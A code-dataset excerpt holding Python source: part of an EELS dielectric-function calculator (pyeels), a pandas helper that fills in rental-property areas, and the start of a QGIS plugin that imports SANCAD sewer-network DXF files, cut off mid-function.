compact for info\n \"\"\"\n\n\n\n if incident_energy:\n self.set_incident_energy(incident_energy)\n else:\n if not self.incident_energy:\n _logger.warning(\"No acceleration energy found, use set_incident_energy() for this. Using 60keV.\")\n self.set_incident_energy(60e3)\n\n if not (isinstance(bands[0],type(None)) and isinstance(bands[1],type(None))):\n self.bands = bands\n \n if temperature:\n self.temperature = temperature\n\n if fermienergy:\n self.fermienergy = fermienergy\n\n if smearing:\n self.smearing = smearing\n\n if refractive_index:\n self.refractive_index = refractive_index\n\n if max_cpu:\n self.max_cpu = max_cpu\n\n\n\n\n\n\n if isinstance(self.polarization, type(None)):\n polarizations = self.calculate_polarization_multiproc(energyBins=energyBins, compact=compact)\n else:\n polarizations = self.polarization\n\n _logger.warning(\"Found stored polarization, using this\")\n\n\n if energyBins.shape[0] == polarizations.shape[0]:\n self.energyBins = energyBins\n else:\n raise ValueError(\"The energy bins does not match the precalculated polarization.\")\n\n\n\n if not isinstance(polarizations, type(None)): \n\n weights = self.signal_weights()*(4*np.pi*self._E_SQUARED)/(self.incident_k**2*self.crystal.volume)\n\n # Correct the weighting in the optical limit (Stephen L. Adler 1962)\n center = ((self.bins-1)/2).astype(int)\n \n temp_energy = copy.deepcopy(self.energyBins)\n temp_energy[temp_energy[:] == 0 ] = np.nan\n\n weights[:,center[0], center[1], center[2]] = (4*np.pi*self._E_SQUARED*self._HBARC**4)/(self._MC2**2*temp_energy**2*self.crystal.volume)\n weights = np.nan_to_num(weights)\n\n del(temp_energy)\n\n if compact:\n dielectric_real = EELS.smear_data(data=polarizations, energy=self.energyBins, sigma=self.smearing, type='Real')\n dielectric_real = self._trim_edges(dielectric_real)\n\n dielectric_imag = EELS.smear_data(data=polarizations, energy=self.energyBins, sigma=self.smearing, type='Imaginary')\n dielectric_imag = self._trim_edges(dielectric_imag)\n\n del(polarizations)\n\n\n # Pack data\n dielectric = ( (dielectric_real + 1j * dielectric_imag) )\n del(dielectric_imag, dielectric_real)\n\n if (dielectric.shape == weights.shape):\n dielectric = np.nan_to_num(dielectric*weights)\n else:\n raise ValueError(\"The shapes of polarization and weights mismatch, try to restart the kernel.\")\n\n dielectric = 1 + dielectric.real + 1j * dielectric.imag\n if self.refractive_index:\n dielectric = self.normalize_dielectric_by_refractive_index(dielectric=dielectric, refractive_index=self.refractive_index)\n elif plasmon_energy:\n dielectric = self.normalize_dielectric_by_valence(dielectric=dielectric, valence_electrons=self.valence_electrons, plasmon_energy=plasmon_energy)\n self.dielectric = dielectric\n return dielectric\n\n else:\n dielectrics = []\n\n for i, polarization in enumerate(polarizations):\n dielectric_real = EELS.smear_data(data=polarization, energy=self.energyBins, sigma=self.smearing, type='Real')\n dielectric_real = self._trim_edges(dielectric_real)\n\n dielectric_imag = EELS.smear_data(data=polarization, energy=self.energyBins, sigma=self.smearing, type='Imaginary')+1\n dielectric_imag = self._trim_edges(dielectric_imag)\n\n del(polarization)\n\n dielectric = ( (dielectric_real + 1j * dielectric_imag) )\n\n del(dielectric_imag, dielectric_real)\n if (dielectric.shape == weights.shape):\n dielectrics.append(np.nan_to_num(dielectric*weights))\n\n del(dielectric)\n\n else:\n raise ValueError(\"The shapes of polarization and weights mismatch, try restart kernel.\")\n\n dielectric = ( (1 + dielectric.real + 1j * dielectric.imag) )\n if self.refractive_index:\n dielectric = self.normalize_dielectric_by_refractive_index(dielectric=dielectric, refractive_index=self.refractive_index)\n elif plasmon_energy:\n dielectric = self.normalize_dielectric_by_valence(dielectric=dielectric, valence_electrons=self.valence_electrons, plasmon_energy=plasmon_energy)\n _logger.warning(\"Calculation of true dielectric function for individual bands is not correctly implemented. This is a temporary solution.\")\n\n self.dielectric = dielectrics\n return dielectrics\n\n else:\n return None\n\n\n def calculate_polarization_multiproc(self, energyBins, bands=(None,None), incident_energy=None, fermienergy=None, temperature=None, max_cpu=None, compact=True):\n \"\"\" Calculate the momentum dependent polarization matrix of the system, using multiple processes\n \n :type energyBins: ndarray\n :param energyBins: The binning range \n \n :type bands: tuple\n :param bands: Tuple of start index and end index of the bands included from the band structure\n\n :type fermienergy: float\n :param fermienergy: a spesific fermienergy in eV, if not defined the standard fermienergy is used\n \n :type temperature: float\n :param temperature: a spesific temperature in Kelvin, if not defined the standard temperature is used\n\n :type max_cpu: int\n :param max_cpu: The user defined maximum allowed number of CPU-cores, if not, the hardware limit is used. \n\n :type compact: bool\n :param compact: If set True, all transitions are added to one array. If False a list of arrays is returned with transitions from and to individual bands. \n \n :returns: An individual numpy ndarray or list of arrays, see :param: compact for info\n \"\"\"\n\n if incident_energy:\n self.set_incident_energy(incident_energy)\n else:\n if not self.incident_energy:\n _logger.warning(\"No acceleration energy found, use set_incident_energy() for this. Using 60keV.\")\n self.set_incident_energy(60e3)\n\n if not (isinstance(bands[0],type(None)) and isinstance(bands[1],type(None))):\n self.bands = bands\n \n if temperature:\n self.temperature = temperature\n\n if fermienergy:\n self.fermienergy = fermienergy\n\n if max_cpu:\n self.max_cpu = max_cpu\n\n self.energyBins = energyBins\n\n energybands = self.crystal.brillouinzone.bands[self.bands[0]:self.bands[1]]\n\n self._transitions = []\n\n\n\n self.valence_electrons = 0\n for i, initial in enumerate(energybands):\n for f, final in enumerate(energybands[(i+1):]):\n f += i+1\n\n # Check if bands lay below or above fermi distribution interval. \n # Interval is estimated to temperature/500, this corresponds to approx. 10th digit accuracy\n if self.temperature != 0:\n if initial.energy_min() < self.fermienergy-self.temperature/500 and final.energy_max() > self.fermienergy+self.temperature/500:\n self._transitions.append((i, f, initial, final))\n else:\n if initial.energy_min() < self.fermienergy and final.energy_max() > self.fermienergy:\n self._transitions.append((i, f, initial, final))\n\n #Sum up valence electrons for normalization purpuse in energy loss function\n if self.temperature != 0:\n if initial.energy_min() < self.fermienergy-self.temperature/500:\n self.valence_electrons +=2\n else:\n if initial.energy_min() < self.fermienergy:\n self.valence_electrons +=2\n \n if not max_cpu:\n max_cpu = cpu_count()\n\n if max_cpu > cpu_count():\n max_cpu = cpu_count()\n\n p = Pool(min(len(self._transitions),max_cpu), self._init_worker)\n r = p.map_async(self._calculate, self._transitions)\n\n # Passing keyboard interuption to the c-extended processes pool\n try:\n r.wait()\n except KeyboardInterrupt:\n _logger.warning(\"Terminating process pool..\")\n p.terminate()\n p.join()\n return None\n else:\n p.close()\n p.join()\n signals = r.get()\n\n if compact:\n signal_total = signals[0]\n for signal in signals[1:]:\n signal_total += signal\n\n self.polarization = signal_total\n return signal_total\n else:\n self.polarization = signals\n return signals\n\n def _trim_edges(self, data):\n \"\"\" Set the edges of the spatial data structure to np.nan \n\n :type data: np.ndarray\n :param data: the data to be trimmed\n\n :returns: data with np.nan along every spatial edges\n \"\"\"\n \n transposed = False\n if data.shape[0] > data.shape[-1]:\n transposed = True\n data = data.T\n\n data = np.pad(data[1:-1,1:-1,1:-1],(1), mode='constant', constant_values=np.nan)[:,:,:,1:-1]\n\n if transposed:\n return data.T\n else:\n return data\n\n \n def _calculate(self, transition):\n \"\"\" Calculates the irreducible polarization matrix by embeded c-code. \n The result is weighted by the number of k-points in the Brillouin Zone.\n\n :type transition: tuple\n :param transition: containing index of initial and final band and the respective band objects\n\n :returns: a weighted irreducible polarization matrix as a numpy ndarray\n \"\"\"\n i, f, initial_band, final_band = transition\n \n energyBands = [initial_band.energies, final_band.energies]\n waveStates = [initial_band.waves, final_band.waves]\n\n k_weights = self.crystal.brillouinzone.mesh[0]*self.crystal.brillouinzone.mesh[1]*self.crystal.brillouinzone.mesh[2]; \n\n return calculate_spectrum(\n self.crystal.brillouinzone.mesh,\n self.crystal.brillouinzone.lattice, \n initial_band.k_grid,\n np.stack(energyBands, axis=1), \n np.stack(waveStates, axis=1).real, \n np.stack(waveStates, axis=1).imag,\n self.operator.real, \n self.operator.imag,\n self.energyBins, \n self.fermienergy, \n self.temperature\n )/k_weights\n\n def _init_worker(self):\n sign.signal(sign.SIGINT, sign.SIG_IGN)\n \n def incident_momentum(self):\n \"\"\" Calculates the relativistic incident momentum from an energy\n :type incident_energy: float\n :param incident_energy: the incident energy\n :returns: the incident momentum\n \"\"\"\n momentum = np.sqrt((self.incident_energy+self._MC2)**2-self._MC2**2)/self._HBARC\n\n return momentum\n\n def signal_weights(self):\n \"\"\" Calculates the signal weights (theta^2+theta_E^2)^-1 rising from the formulation of stopping power, by R. H. Ritchie (1957).\n \n :returns: singal weights in energy and momentum space \n \"\"\"\n\n # Calculate theta^2\n q_squared = calculate_momentum_squared(\n self.crystal.brillouinzone.mesh,\n self.crystal.brillouinzone.lattice,\n self.energyBins\n )/self.incident_k**2\n\n # Calculate theta_e^2\n e = (self.energyBins/(2*self.incident_energy))**2\n\n # Calculate (theta^2+theta_e^2)\n for i in range(0,q_squared.shape[1]):\n for j in range(0,q_squared.shape[2]):\n for k in range(0,q_squared.shape[3]):\n q_squared[:,i,j,k] += e\n\n\n # Calculate (theta^2+theta_e^2)^-1\n q_squared[q_squared[:] == 0] = np.nan\n weights = q_squared**-1\n \n return np.nan_to_num(weights)\n\n\n def normalize_dielectric_by_refractive_index(self, dielectric, refractive_index=1):\n \"\"\" Normalize the dielectric function eps(q,w) to a known refractive index \n\n :type dielectric: np.ndarray\n :param dielectric: the raw dielectric function eps(q,w)\n\n :type refractive_index: \n :param refractive_index: \n\n :returns: a normalized dielectric function where eps(0,0) = refractive_index^2\n \"\"\"\n\n transposed = False\n if not dielectric.shape[-1] == self.energyBins.shape[0]:\n dielectric = dielectric.T\n transposed = True\n\n if dielectric.shape[-1] == self.energyBins.shape[0]:\n dielectric_imag = dielectric.imag\n dielectric_real = dielectric.real-1\n dielectric = dielectric_real + 1j*dielectric_imag\n\n center_index = np.hstack([(np.asarray(dielectric_real.shape[:-1]).astype(int)-1)/2,np.zeros(1)]).astype(int)\n center_index[0] += 1\n middle = dielectric_real.item(tuple(center_index))\n\n if middle < 0:\n _logger.warning(\"Static dielectric function is below 1, this unphysical\")\n return None\n\n scale = 1\n if middle != 0 and refractive_index > 1:\n scale = (refractive_index**2-1)/(middle)\n elif middle == 0 and refractive_index == 1:\n scale = 1\n elif refractive_index < 1:\n raise ValueError(\"Cannot handle refractive index below 1\")\n elif middle == 0:\n _logger.warning('Real static polarizability is zero which makes it impossible to rescale. Returning input.')\n else:\n raise NotImplementedError(\"Cannot handle this case of refractive index.\")\n\n print(scale)\n\n dielectric = dielectric*scale\n dielectric = 1+dielectric.real + 1j*dielectric.imag\n\n if transposed:\n return dielectric.T\n else:\n return dielectric\n else:\n raise ValueError(\"The dielectric matrix does not match the energy dimension\")\n\n def normalize_dielectric_by_valence(self, dielectric, valence_electrons=None, plasmon_energy=None):\n \"\"\" Normalize the dielectric function to the valence electron density \n\n :type dielectric: np.ndarray\n :param dielectric: the loss function to be normalized\n\n :type valence_electrons: float\n :param valence_electrons: the number of valence electrons\n\n :type plasmon_energy: float\n :param plasmon_energy: the plasmon energy if known\n\n :returns: the normalized loss function\n \"\"\"\n\n if not valence_electrons:\n valence_electrons = self.valence_electrons\n \n transposed = False\n if not dielectric.shape[-1] == self.energyBins.shape[0]:\n dielectric = dielectric.T\n transposed = True\n\n if dielectric.shape[-1] == self.energyBins.shape[0]:\n# energy_step = self.energyBins[1]-self.energyBins[0]\n\n dielectric_imag = dielectric.imag\n dielectric_real = dielectric.real\n\n # rewrite to integral from scipy?\n integrated = np.trapz(y=dielectric_imag*self.energyBins, x=self.energyBins, axis=-1)\n\n print(\"integral is {}\".format(integrated))\n\n integrated[integrated[:]==0] = np.nan\n\n\n if plasmon_energy:\n plasmon_energy_squared = plasmon_energy**2\n else:\n plasmon_energy_squared = (4*np.pi*self._E_SQUARED*self._HBARC**2*valence_electrons)/(self._MC2*self.crystal.volume)\n\n scale = np.pi*plasmon_energy/(2*integrated)\n\n scale = np.nan_to_num(scale)\n\n print(\"scale is {}\".format(scale))\n\n dielectric = (((dielectric_real.T-1)*scale)+1 + 1j*dielectric_imag.T*scale).T\n\n if transposed:\n return dielectric.T\n else:\n return dielectric\n else:\n raise ValueError(\"The shape of the dielectric function does not match self.energyBins\")\n\n def map_onset(self, data):\n \"\"\" Create an onset map from the given n-dimensional data, the last axis must represent energy\n\n :type data: np.ndarray\n :data data: the data to map the onsets from\n\n :returns: an onset map of given the data\n \"\"\"\n\n energy = self.energyBins\n\n free_onsets = np.ones(data.shape[:-1])\n \n onsets = np.zeros(data.shape[:-1])\n \n \n for i in range(data.shape[-1]):\n above = (data[...,i]>0)\n onsets += above*energy[i]*free_onsets\n \n free_onsets *= 1-above\n \n onsets[onsets[:]==0] = np.nan\n \n return onsets\n\n def mask_data_to_polarization_onset(self, data):\n \"\"\" Apply a onset mask setting all values below the onset of the Polarization \n\n :type data: np.ndarray\n :param data: the data to be masked, must have same shape as self.polarization\n\n :returns: masked data\n \"\"\"\n\n if (data.shape != self.polarization.shape) and (data.T.shape != self.polarization.shape):\n raise ValueError(\"The data must have same shape as self.polarization.\") \n\n transposed = False\n if data.shape[0] == self.energyBins.shape[0]:\n transposed = True\n data = data.T\n\n if data.shape[-1] == self.energyBins.shape[0]:\n\n onset = self.map_onset(self.polarization.T)\n\n energy = np.zeros(data.shape)\n energy[...,:] = self.energyBins\n mask = (energy[:,...].T>onset).T\n\n data = data*mask\n\n if transposed:\n return data.T\n else:\n return data\n else:\n raise ValueError(\"The shape of data does not match self.energyBins but matches self.polarization, have you changed the bins?\")\n\n\n\n \n\n @classmethod\n def calculate_energy_loss_function(cls, dielectric):\n \"\"\" Calculate energy loss function for a complex spectrum image \n \n :type dielectric: np.ndarray\n :param dielectric: the complex dielectric matrix \n\n :returns: the energy loss matrix\n \"\"\"\n\n return dielectric.imag/(dielectric.real**2+dielectric.imag**2)\n\n\n\n\n # Signal handeling\n @classmethod\n def _gauss(cls, sigma, eRange):\n \"\"\" Creates a gauss to smear data\n :type sigma: float\n :param sigma: the sigmal value of the gauss\n\n :type eRange: ndarray\n :param eRange: an array of energy values \n\n :returns: an array with a gaussian in energy space\n \"\"\"\n dE = eRange[1]-eRange[0]\n\n gx = np.arange(-eRange[-1],eRange[-1], dE)\n gaussian = np.exp(-0.5*(gx/sigma)**2)\n gaussian = gaussian/gaussian.sum()\n \n gauss =np.zeros((1,1,1,len(gaussian)))\n gauss[0,0,0,:] = gaussian\n return gauss\n\n @classmethod\n def _imaginary(cls, sigma, eRange):\n \"\"\" Creates an weight function to the imaginary part of dielectric function to smear data\n :type sigma: float\n :param sigma: the sigmal value of the weight function\n\n :type eRange: ndarray\n :param eRange: an array of energy values \n\n :returns: an array with an imaginary part weight function in energy space\n \"\"\"\n dE = eRange[1]-eRange[0]\n\n tx = np.arange(-eRange[-1],eRange[-1], dE) #-50*sigma,50*sigma\n weights = 1/(-tx-1j*sigma)\n imaginary = weights.imag/(np.abs(weights.imag).sum()*dE)\n \n imag =np.zeros((1,1,1,len(imaginary)))\n imag[0,0,0,:] = imaginary\n return imag\n\n @classmethod\n def _real(cls, sigma, eRange):\n \"\"\" Creates an weight function to the real part of dielectric function to smear data\n :type sigma: float\n :param sigma: the sigmal value of the weight function\n\n :type eRange: ndarray\n :param eRange: an array of energy values \n\n :returns: an array with a real part weight function in energy space\n \"\"\"\n dE = eRange[1]-eRange[0]\n \n tx = np.arange(-eRange[-1],eRange[-1], dE) #-50*sigma,50*sigma\n weights = 1/(-tx-1j*sigma)\n real_temp = weights.real/(np.abs(weights.imag).sum()*dE)\n \n real =np.zeros((1,1,1,len(real_temp)))\n real[0,0,0,:] = real_temp\n return real\n\n @classmethod\n def smear_data(cls, data, energy, sigma, type='Gaussian'):\n \"\"\" Smear the signal with a smearing of chosen type\n :type data: np.ndarray\n :param data: the data to be smeared with the energy axis as the first axis\n\n :type energy: np.ndarray\n :param energy: the energy axis of the data\n \n :type sigma: float \n :param sigma: the sigma value of the gauss\n\n :type type: string\n :param type: Keyword for type of smeraing, Gaussian, Imaginary, or Real\n \n :returns: the smeared signal\n \"\"\"\n transposed = False\n if not data.shape[-1] == energy.shape[0]:\n transposed = True\n data = data.T\n\n if not data.shape[-1] == energy.shape[0]:\n _logger.warning(\"Last or first axis must match the energy axis\")\n return None\n \n #Determine the type of smearing\n if (type == 'Gaussian') or (type == 'G') or (type == 'Gauss') or (type == 0):\n smearing = cls._gauss(sigma, energy)\n \n elif (type == 'Imaginary') or (type == 'I') or (type == 'Imag') or (type == 'Im') or (type == 1):\n smearing = cls._imaginary(sigma, energy)\n\n elif (type == 'Real') or (type == 'R') or (type == 'Re') or (type == 2):\n smearing = cls._real(sigma, energy)\n\n else:\n raise ValueError(\"Type not known\")\n\n crop_front = len(smearing[0,0,0,:])//2\n\n if crop_front == 0:\n raise ValueError(\"Sigma is too small\")\n\n if len(smearing[0,0,0,:])%2 == 1:\n crop_end = crop_front\n else:\n crop_end = crop_front-1\n\n #Extend the dataset by a length of (2*crop_data) with constant values to shift the convolution distortion out of the region of interest\n if len(data.shape) == 1:\n data = np.hstack([np.ones(data.shape[:-1]+(2*crop_front,)).T*data[...,0].T,data.T,np.ones(data.shape[:-1]+(2*crop_end,)).T*data[...,-1].T]).T\n else:\n data = np.vstack([np.ones(data.shape[:-1]+(2*crop_front,)).T*data[...,0].T,data.T,np.ones(data.shape[:-1]+(2*crop_end,)).T*data[...,-1].T]).T\n\n\n if len(data.shape) == 1:\n data = convolve(data, smearing[0,0,0,:])\n elif len(data.shape) == 2:\n data = convolve(data, smearing[0,0,:,:])\n elif len(data.shape) == 3:\n data = convolve(data, smearing[0,:,:,:])\n else:\n data = convolve(data, smearing)\n \n if transposed:\n #Trim the convolution contribution and the extended constant values\n return data[...,3*crop_front:-crop_end*3].T \n else:\n return data[...,3*crop_front:-crop_end*3]\n\n\n @classmethod\n def gaussian_smear(cls, data, energy, sigma):\n \"\"\" Smear the signal with a Gaussian smearing\n :type data: np.ndarray\n :param data: the data to be smeared with the energy axis as last axis\n\n :type sigma: float \n :param sigma: the sigma value of the gauss\n \n :returns: the smeared signal\n \"\"\" \n return smear_data(data=data, energy=energy, sigma=sigma, type='Gaussian')\n\n @classmethod\n def gaussian_smear_signal(cls, s, sigma):\n \"\"\" Smear the signal with a gaussian smearing\n :type s: hyperspy signal\n :param s: the signal to be smeared\n\n :type sigma: float \n :param sigma: the sigma value of the gauss\n \n :returns: the smeared signal\n \"\"\"\n hist = s.data\n scale = s.axes_manager['Energy'].scale\n offset = s.axes_manager['Energy'].offset\n size = s.axes_manager['Energy'].size\n\n eRange = np.linspace(offset, offset+(size-1)*scale, size)\n\n s_smooth = copy.deepcopy(s)\n \n s_smooth.data = EELS.smear_data(data=hist, energy=eRange, sigma=sigma, type='Gaussian')\n s_smooth.metadata['General']['title'] = s.metadata['General']['title'] + \" gaussian smearing s={}\".format(sigma)\n s_smooth.metadata['General']['name'] = s.metadata['General']['name'] + \" gaussian smearing s={}\".format(sigma)\n return s_smooth\n\n\n @classmethod\n def set_ROI(cls, s, shape=\"circle\", color=\"r\", interactive=False):\n \"\"\" Selects an interactive region of interst (ROI) to the signal\n\n :type s: hyperspy signal\n :param s: the signal of interest\n\n :type shape: string\n :param shape: the description of the ROI; circle, ring, rectangle\n\n :type interactive: boolean\n :param interactive: interactive if True, False if left blank\n \n :returns: hyperspy roi, hyperspy signal\n \"\"\"\n import hyperspy.api as hs\n \n if s.axes_manager.navigation_dimension < 2:\n axes = \"sig\"\n x_axis = s.axes_manager[s.axes_manager.signal_indices_in_array[1]]\n y_axis = s.axes_manager[s.axes_manager.signal_indices_in_array[0]]\n else:\n axes = \"nav\"\n x_axis = s.axes_manager[s.axes_manager.navigation_indices_in_array[1]]\n y_axis = s.axes_manager[s.axes_manager.navigation_indices_in_array[0]]\n\n\n if shape == \"circle\":\n x = x_axis.axis[round(x_axis.size/2)]\n y = y_axis.axis[round(y_axis.size/2)]\n\n r_outer = x_axis.axis[round(3*x_axis.size/4)]\n \n sroi = hs.roi.CircleROI(x, y, r=r_outer, color=color)\n \"\"\"\n s.plot()\n sroi= sroi.interactive(s) \n ss = hs.interactive(f=sroi.sum, event=sroi.events.data_changed)\n \"\"\"\n elif shape == \"ring\":\n x = x_axis.axis[round(x_axis.size/2)]\n y = y_axis.axis[round(y_axis.size/2)]\n\n r_outer = x_axis.axis[round(4*x_axis.size/5)]\n r_inner = x_axis.axis[round(3*x_axis.size/4)]\n \n sroi = hs.roi.CircleROI(x, y, r=r_outer, r_inner=r_inner, color=color)\n \"\"\"\n s.plot()\n sroi= sroi.interactive(s) \n ss = hs.interactive(f=sroi.sum, event=sroi.events.data_changed)\n \"\"\"\n else:\n if not shape == \"rectangle\":\n print(\"Did not recognize shape, using rectangle\")\n x1 = x_axis.axis[1]\n x2 = x_axis.axis[round(x_axis.size/10)]\n y1 = y_axis.axis[1]\n y2 = y_axis.axis[round(y_axis.size/10)]\n\n sroi = hs.roi.RectangularROI(x1, y1, x2, y2)\n \n if interactive:\n s.plot()\n roi_signal = sroi.interactive(s)\n ss = hs.interactive(f=roi_signal.sum, event=roi_signal.events.data_changed) \n else:\n roi_signal = sroi(s)\n ss = roi_signal.sum()\n \n return sroi, ss\n\n\n\n def __repr__(self):\n string = \"EELS Signal Calculator:\\n\\nSignal name:\\n\\t{}\\nAuthors:\\n\\t{}\\nTitle:\\n\\t{}\\nNotes:\\n\\t{}\\n\\n\".format(self.name, self.authors, self.title, self.notes)\n string += \"Temperature: {} K\\tFermiEnergy: {} eV\\n\".format(self.temperature, self.fermienergy)\n return string\n\n ","repo_name":"sindrebilden/pyeels","sub_path":"pyeels/eels.py","file_name":"eels.py","file_ext":"py","file_size_in_byte":42417,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"60"} +{"seq_id":"43520914295","text":"if __name__ != \"__main__\":\n from utils.DF_utils import DataFrame_Aluguel_Utils as Dau\n from random import randint as ri\n from utils.consts import TIPO_RESIDENCIAL_PEQUENO, TIPO_COMERCIAL_GRANDE, TIPO_COMERCIAL_PEQUENA\n import pandas as pd\n\n def preenche_area(cls: Dau) -> None:\n valores_a_calcular: pd.DataFrame = cls.df.loc[:, [\"Quartos\", \"Vagas\", \"Suites\"]]\n\n area: list = []\n\n for i in range(cls.qtd):\n tipo: pd.Series = cls.get_value(\"Tipo\", i)\n\n area_comodos: int = valores_a_calcular.loc[i, [\"Quartos\", \"Suites\"]].sum() * \\\n ri(15, 25)\n\n area_vagas: int = 0\n if \"Apartamento\" != tipo not in TIPO_RESIDENCIAL_PEQUENO:\n area_vagas += valores_a_calcular.loc[i, [\"Vagas\"]].sum() * ri(5, 10)\n\n area_comercial: int = 0\n if tipo in TIPO_COMERCIAL_PEQUENA:\n area_comercial += ri(20, 200)\n elif tipo in TIPO_COMERCIAL_GRANDE:\n area_comercial += ri(500, 2000)\n\n area.append(area_comodos + area_vagas + area_comercial)\n\n cls.df[\"Area\"] = area\n","repo_name":"JSA04/PyFiles","sub_path":"DataScience/utils/preenche/preenche_area.py","file_name":"preenche_area.py","file_ext":"py","file_size_in_byte":1145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74879766910","text":"from qgis.core import *\nfrom PyQt4.QtGui import *\nfrom PyQt4.QtCore import *\nfrom qgis.utils import *\nimport os.path\nfrom QEsg_01Campos import *\nfrom osgeo import ogr\nimport math\nfrom QEsg_04Estilos import *\n#from QEsg_00Model import *\n\n\nclass QEsg_20Sancad:\n def ImportaDXF(self):\n proj = QgsProject.instance()\n #vLayer=iface.activeLayer()\n #vLayer.startEditing()\n baseName=proj.readPath(\"./\")\n nome_arquivo=QFileDialog.getOpenFileName(caption=QCoreApplication.translate('QEsg',u'Abrir o arquivo DXF da rede SANCAD:'),\n directory=baseName,filter=\"AutoCAD DXF (*.dxf *.DXF)\")\n if not nome_arquivo:\n QMessageBox.information(None,'QEsg',QCoreApplication.translate('QEsg',u'Operação cancelada!'))\n return\n else:\n vLayer = QgsVectorLayer(nome_arquivo, \"SANCAD DXF\", \"ogr\")\n \n if not vLayer.isValid():\n QMessageBox.warning(None,'QEsg',QCoreApplication.translate('QEsg','Arquivo invalido'))\n return\n #Pega o crs do Projeto atual\n# canvas = iface.mapCanvas()\n# mapRenderer = canvas.mapRenderer()\n# crs=mapRenderer.destinationCrs()\n s=QSettings()\n Userconfig=s.value(\"/Projections/defaultBehaviour\")\n \n Campo='ExtendedEntity'\n RedeEtapa={'SANC_REDE':1,'SANC_REDE2T':2, 'SANC_REDEEXIST':0}\n PVLayer='SANC_PV'\n field_names = [field.name() for field in vLayer.pendingFields()]\n if Campo in field_names:\n # create a memory layer\n vl = QgsVectorLayer(\"LineString\", \"Rede Importada\", \"memory\")\n #vl.setCrs(crs) #Configura CRS para o mesmo do projeto atual\n pr = vl.dataProvider()\n\n \n #Cria os campos padroes sem perguntar\n CamposClasse=QEsg_01Campos()\n CamposClasse.CriaCampos('PIPES',vl, SilentRun=True)\n \n #Filtra os registro com campo Layer like SANC_PV\n requestPVs = QgsFeatureRequest()\n requestPVs.setFilterExpression( '\"Layer\" like \\'%'+PVLayer+'%\\'' )\n PViterator=vLayer.getFeatures( requestPVs )\n \n #Cria um layer de pontos temporario e cria um ponto no centro da polilinha que representa um PV\n vPVs = QgsVectorLayer(\"Point\", \"PVs\", \"memory\")\n #vPVs.setCrs(crs) #Configura CRS para o mesmo do projeto atual\n prPVs=vPVs.dataProvider()\n feat = QgsFeature()\n fet= QgsFeature()\n\n while PViterator.nextFeature(feat):\n geom=feat.geometry().centroid()\n fet.setGeometry(geom)\n vPVs.updateFeature(fet)\n prPVs.addFeatures([fet])\n\n spIndex = QgsSpatialIndex() #create spatial index object\n \n PViterator=vPVs.getFeatures()# \n\n # insert features to index\n while PViterator.nextFeature(feat):\n spIndex.insertFeature(feat)\n\n #filtra os registros com campo ExtendedEntity nao nulos\n request = QgsFeatureRequest()\n request.setFilterExpression( '\\\"'+Campo+'\\\" IS NOT NULL')\n iterator=vLayer.getFeatures( request )\n contrlado=2\n\n #Loop no arquivo DXF onde tiver dados no campo ExtendedEntity \n for feicao in iterator:\n oValor = feicao[Campo].split()\n dcid=oValor[0]\n strPos1=oValor[0].find('-') # oValor[0] = Coletor-Trecho\n pvm=oValor[1] #PV de montante\n pav=oValor[2] #Pavimento, ex:ASFALTO, TERRENO NATURAL\n Bilateral=oValor[3] #Sim=Bilateral;Uni=Unilateral;Nao=Sem contribuicao\n if Bilateral=='SIM':\n contrlado=2\n elif Bilateral=='UNI':\n contrlado=1\n elif Bilateral=='NAO':\n contrlado=0\n else:\n contrlado=2\n coletor=int(oValor[0][:strPos1])\n trecho=int(oValor[0][strPos1+1:])\n aGeo=feicao.geometry()\n \n wkb = aGeo.asWkb()\n geom_wkb = ogr.CreateGeometryFromWkb(wkb)\n #aPolilinha = geom_wkb.GetGeometryRef().ExportToWkt() #wkb.convertToType(QGis.Point, True).exportToWkt()\n pontos3D={}\n pontos3D[0]=str(geom_wkb)[12:-1].split(\",\")[0].split(\" \")\n pontos3D[1]=str(geom_wkb)[12:-1].split(\",\")[1].split(\" \")\n\n #aPolilinha=aGeo.asLineString25D()#LineString25D asPolyline\n ctm= float(pontos3D[0][2]) #geom_wkb.GetZ() #aPolilinha[0].x()\n ctj= float(pontos3D[1][2])\n \n #Pega a Etapa de acordo com o layer que se encontra\n oLayer=feicao['Layer']\n etapa=RedeEtapa[oLayer]\n \n # add a feature\n fet = QgsFeature(vl.pendingFields())\n \n pt=aGeo.asPolyline()[0]\n \n # QgsSpatialIndex.nearestNeighbor (QgsPoint point, int neighbors)\n nearestIds = spIndex.nearestNeighbor(pt,1) # we need only one neighbour\n featureId = nearestIds[0]\n #print pt,featureId\n fit2 = vPVs.getFeatures(QgsFeatureRequest().setFilterFid(featureId))\n ftr = QgsFeature()\n fit2.nextFeature(ftr)\n pvProx=ftr.geometry().asPoint() #asPolyline()[0]\n #setup distance\n distance = QgsDistanceArea()\n #get distance\n dist = distance.measureLine(pt, pvProx)\n if dist>3:\n pontaseca='S'\n #estende trecho ponta seca para montante\n aGeo=self.ExtendToMont(aGeo, dist=4)\n else:\n pontaseca='N'\n #print dcid, pt, featureId, pvProx, dist\n# fet.setAttributes([coletor, trecho,dcid ,pvm, None, None,ctm, ctj, None,None,None,None,None,None,None,None,None,\n# None,None,None,None,None,None,None,None,None,None,None,\n# None,None,contrlado])\n fet.setGeometry(aGeo)\n fet['Coletor']=coletor\n fet['Trecho']=trecho\n fet['DC_ID']=dcid\n fet['PVM']=pvm\n fet['CTM']=ctm\n fet['CTJ']=ctj\n fet['CONTR_LADO']=contrlado\n fet['ETAPA']=etapa\n fet['PONTA_SECA']=pontaseca\n vl.updateFeature(fet)\n pr.addFeatures([fet])\n# print coletor,trecho,pvm,pav,contrlado\n else:\n iface.messageBar().clearWidgets()\n QMessageBox.warning(None,'QEsg',QCoreApplication.translate('QEsg',u'Campo \\'{}\\' não Encontrado').format(campo))\n vl.updateExtents()\n self.PreenchePVJ(vl)\n #vl.setCrs(crs) #Configura CRS para o mesmo do projeto atual\n QgsMapLayerRegistry.instance().addMapLayer(vl)\n EstiloClasse=Estilos()\n EstiloClasse.CarregaEstilo(vl, 'rede_tipo_contribuicao.qml')\n del vPVs\n s.setValue(\"/Projections/defaultBehaviour\", Userconfig)\n iface.messageBar().pushMessage('QEsg',QCoreApplication.translate('QEsg',u'Importação concluída com sucesso!'), \n duration=3)\n def ExtendToMont(self,Geom, dist=4):#Retorna geometria com linha estendida #x1,y1,x2,y2\n poli=Geom.asPolyline()\n pto1=poli[0]\n pto2=poli[1]\n x1=pto1.x()\n y1=pto1.y()\n x2=pto2.x()\n y2=pto2.y()\n Alfa=math.atan2(y2-y1,x2-x1)\n dx=dist*math.cos(Alfa)\n 